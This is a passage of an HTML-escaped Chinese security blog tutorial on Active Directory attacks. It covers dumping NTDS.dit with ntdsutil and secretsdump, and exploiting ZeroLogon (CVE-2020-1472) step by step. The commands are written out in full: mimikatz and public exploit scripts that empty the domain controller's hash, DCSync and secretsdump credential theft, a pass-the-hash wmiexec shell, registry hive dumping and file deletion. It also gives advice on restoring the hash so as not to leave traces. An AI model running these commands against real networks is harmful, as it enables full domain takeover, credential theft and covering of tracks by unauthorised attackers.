instance ntds&amp;#34; Ifm &amp;#34;create full C:\ntdsutil&amp;#34; Quit quit&#9;&#9;// Generate files&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil &amp;#34;ac i ntds&amp;#34; &amp;#34;ifm&amp;#34; &amp;#34;create full c:\ntdsutil&amp;#34; q q&#9;&#9;&#9;// Short form&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use SYSTEM directly to decrypt it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;secretsdump.py -ntds &amp;#34;Active Directory/ntds.dit&amp;#34; -system registry/SYSTEM LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;secretsdump.py -sam sam.save -system system.save -security security.save LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="exploiting-zerologon-cve-2020-1472"&gt;&lt;a href="#exploiting-zerologon-cve-2020-1472" class="header-anchor"&gt;&lt;/a&gt;Exploiting ZeroLogon (CVE-2020-1472)&#10;&lt;/h2&gt;&lt;p&gt;Affected system versions: all versions after Win2008&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 R2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 R2 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2016&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2016 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2019&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2019 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 1903 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 1909 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 2004 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Requirements for exploitation:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;An attacker only needs the domain controller hostname and IP address plus network access to obtain domain administrator privileges without credentials, even from outside the domain.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Note: A domain controller&amp;rsquo;s machine-account HASH is stored in the registry and loaded into lsass when the system starts. When an attack empties the domain controller&amp;rsquo;s HASH, only the password in AD (NTDS.DIT) is changed—not the password in the registry or the one loaded into lsass. If the credential stored for the domain controller in the domain no longer matches the credential in its local registry/lsass, the domain controller will lose its domain trust and Kerberos authentication will stop working. It therefore needs to be restored as soon as possible.&lt;/p&gt;&#10;&lt;h4 id="step-1-verify-that-the-vulnerability-exists"&gt;&lt;a href="#step-1-verify-that-the-vulnerability-exists" class="header-anchor"&gt;&lt;/a&gt;Step 1: Verify That the Vulnerability Exists&#10;&lt;/h4&gt;&lt;p&gt;How to obtain the account&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Method 1: Mimikatz&lt;/p&gt;&#10;&lt;p&gt;Download a recent version that supports exploiting ZeroLogon: &lt;a class="link" href="https://github.com/gentilkiwi/mimikatz" target="_blank" rel="noopener"&#10; &gt;https://github.com/gentilkiwi/mimikatz&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;lsadump::zerologon /target:192.168.0.111 /account:WIN-RITHFS5KHEN$&amp;#34; exit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Method 2: Tool from &lt;a class="link" href="https://github.com/SecuraBV/CVE-2020-1472" target="_blank" rel="noopener"&#10; &gt;https://github.com/SecuraBV/CVE-2020-1472&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python zerologon_tester.py WIN-RITHFS5KHEN 192.168.0.111&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="step-2-empty-the-domain-controller-hash"&gt;&lt;a href="#step-2-empty-the-domain-controller-hash" class="header-anchor"&gt;&lt;/a&gt;Step 2: Empty the Domain Controller HASH&#10;&lt;/h4&gt;&lt;p&gt;Note: A domain controller&amp;rsquo;s machine-account HASH is stored in the registry and loaded into lsass when the system starts. When an attack empties the domain controller&amp;rsquo;s HASH, only the password in AD (NTDS.DIT) is changed—not the password in the registry or the one loaded into lsass. This causes the domain controller to lose its domain trust, making Kerberos authentication unavailable, so it must be restored as soon as possible.&lt;/p&gt;&#10;&lt;p&gt;Method 1: Mimikatz&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe &amp;#34;lsadump::zerologon /target:192.168.0.110 /account:WINDOWSSERVERAD$ /exploit&amp;#34; exit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Method 2: Tool from &lt;a class="link" href="https://github.com/risksense/zerologon" target="_blank" rel="noopener"&#10; &gt;https://github.com/risksense/zerologon&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 set_empty_pw.py WINDOWSSERVERAD 192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Method 3: Tool from &lt;a class="link" href="https://github.com/dirkjanm/CVE-2020-1472" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/CVE-2020-1472&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 cve-2020-1472-exploit.py WINDOWSSERVERAD 192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="step-3-retrieve-the-domain-administrator-hash"&gt;&lt;a href="#step-3-retrieve-the-domain-administrator-hash" class="header-anchor"&gt;&lt;/a&gt;Step 3: Retrieve the Domain Administrator HASH&#10;&lt;/h4&gt;&lt;p&gt;Method 1: Mimikatz&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::dcsync /domain:new.local /dc:WIN-RITHFS5KHEN /user:administrator /authuser:WIN-RITHFS5KHEN$ /authdomain:main /authpassword:&amp;#34;&amp;#34; /authntlm&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The result is shown below. The HASH for the domain administrator, MAIN\Administrator, is 2b2ddd54e1f78fab85e7c662f672f30e.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Method 2: Impacket&lt;/p&gt;&#10;&lt;p&gt;The Impacket toolkit is available at &lt;a class="link" href="https://github.com/SecureAuthCorp/impacket" target="_blank" rel="noopener"&#10; &gt;https://github.com/SecureAuthCorp/impacket&lt;/a&gt;. Use its secretsdump.py tool to retrieve the domain administrator HASH:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 31d6cfe0d16ae931b73c59d7e0c089c0 is the hash of an empty value&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 MAIN/WIN-RITHFS5KHEN$@192.168.0.111&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 secretsdump.py MAIN/DC01$@192.168.43.100 -just-dc -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 /usr/share/doc/python3-impacket/examples/secretsdump.py &amp;#39;secura.yzx/DC01$@192.168.131.97&amp;#39; -just-dc -no-pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The result is shown below. The HASH for the domain administrator, MAIN\Administrator, is &lt;code&gt;2b2ddd54e1f78fab85e7c662f672f30e&lt;/code&gt;. At this point, note that the HASH for the domain controller WIN-RITHFS5KHEN$ in NTDS.DIT is already the empty value &lt;code&gt;31d6cfe0d16ae931b73c59d7e0c089c0&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;For reference, the Administrator hash is &lt;code&gt;2b2ddd54e1f78fab85e7c662f672f30e&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="step-4-restore-the-domain-controller-hash"&gt;&lt;a href="#step-4-restore-the-domain-controller-hash" class="header-anchor"&gt;&lt;/a&gt;Step 4: Restore the Domain Controller HASH&#10;&lt;/h4&gt;&lt;p&gt;(You could skip this step, but that leaves traces behind, and failing to restore it may also cause the domain controller to go down. So we need to restore it.)&lt;/p&gt;&#10;&lt;p&gt;When Mimikatz restores the domain controller HASH, it changes both the credential in NTDS.DIT and the credentials in the registry/lsass to (Waza1234/Waza1234/Waza1234). This is not the original value. Although the domain will continue to work, this still leaves traces.&lt;/p&gt;&#10;&lt;p&gt;The recommended approach is to restore the original HASH. First, retrieve the domain controller&amp;rsquo;s original HASH from the registry data. You can do this with wmiexec.py or psexec.py from the Impacket package. The following example uses wmiexec.py and passes the HASH obtained for the domain administrator in the previous step:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# PTH getshell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e MAIN/administrator@192.168.0.111&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Retrieve registry dump files; by default, they are stored in C:\ on the target host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# A Chinese-language target system may report a decoding error; this does not affect operation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# /y: force overwrite of existing files, preventing a same-named file in C:\ on the target from causing an overwrite prompt that can stall a semi-interactive session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;reg save HKLM\SYSTEM system.hive /y&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;reg save HKLM\SAM sam.hive /y&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;reg save HKLM\SECURITY security.hive /y&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Download the dump files locally&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;lget system.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;lget sam.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;lget security.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Delete the dump files from the target host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;del /f system.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;del /f sam.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;del /f security.hive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;exit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Export hashes from the registry dumps&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The result is shown below. The domain controller key (HEX) is: :71e7160142ee4406478d8c3a67566adc1ed91dd97d26c87f4ac97a4af081dadde701370b3d5fdc785a409f6f03ed9d1147163ec8e28db1c12c6a7a39fc036ec5f5db54033c653bed4c888de0ca32fe75fdcc0965daf24049c472d015963b842b982f9807ee45b9eabb94002d69ff0d8e519e9dd3112c248b4db901de95513e682ef142fd15bc97d63a0bf7b2414ad2851a00bf0f9cc356b51f25ccc4fd0f307b609278ef60c4986782b9a46cac7a6f3262eb521c9e0c7bb20dd6218e035c74b04242dcca13c778cbfe53e68901af6c27d11ac09a376a2bf456efd9d3081f95999d3b79818c754f61455c8eacdf5c9e82&lt;/p&gt;&#10;&lt;p&gt;The NTLM HASH is: aad3b435b51404eeaad3b435b51404ee:21b74da052b94026deb180cf075a5a93. Note that this differs from the empty HASH captured in the previous step, because that step retrieved the domain controller HASH record from NTDS.DIT, while this one retrieves the HASH record from the registry.&lt;/p&gt;&#10;&lt;p&gt;Next, restore it with a tool by synchronizing the HASH record in the registry back to NTDS.DIT:&lt;/p&gt;&#10;&lt;p&gt;Method 1: Tool from &lt;a class="link" href="https://github.com/risksense/zerologon" target="_blank" rel="noopener"&#10; &gt;https://github.com/risksense/zerologon&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This project explains the process very clearly. Just follow its steps.&lt;/p&gt;&#10;&lt;p&gt;Restore using the NT HASH:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python reinstall_original_pw.py WIN-RITHFS5KHEN 192.168.0.111 21b74da052b94026deb180cf075a5a93&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Method 2: Tool from &lt;a class="link" href="https://github.com/dirkjanm/CVE-2020-1472" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/CVE-2020-1472&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Restore using the key (HEX):&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 restorepassword.py main/dc01@dc01 -target-ip 192.168.43.100 -hexpass 40cb3f6931f77bec7856f848751e135515d868f80b3f7f618472dfa9e83a6fac7a6c7069b7626371f7812607d47b19df6506d1b28d1e8640b06882116feae2fee977bcb6f55db375dc6181b0e4a656ab22ef183f904cbe66d4cfbfd3c13fa5c96933b0ff8b8c07a97a0b38c3c7af4c948578caa5e2842eedc63e94c47c1624cd4b952bc3cf6871cdf8367225522d71e2d754ea642550087a8a6ef91f2ab2b32d3a2f1beb0735c06a72e0e02ff89e5645edfbfb7a190c667c1356a893b831051f4e5ba2d2bea86ec59613660d66b06eb57482ec466ca21d1324b7c83d6f68778e5c66ac7e96d5ec8c6032655a5b904099&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Method 3: PowerShell&lt;/p&gt;&#10;&lt;p&gt;First, use a remote command-execution tool (wmiexec, psexec, smbexec, atexec, and so on) to obtain a shell on the domain controller. Then use a powershell command to reset the host HASH. Note that this does not restore the original HASH. Instead, it resets the credential in NTDS.DIT and the credentials in the registry/lsass to a random value:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 wmiexec.py -hashes :cf83cd7efde13e0ce754874aaa979a74 MAIN/administrator@192.168.43.100&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\&amp;gt;powershell -c Reset-ComputerMachinePassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 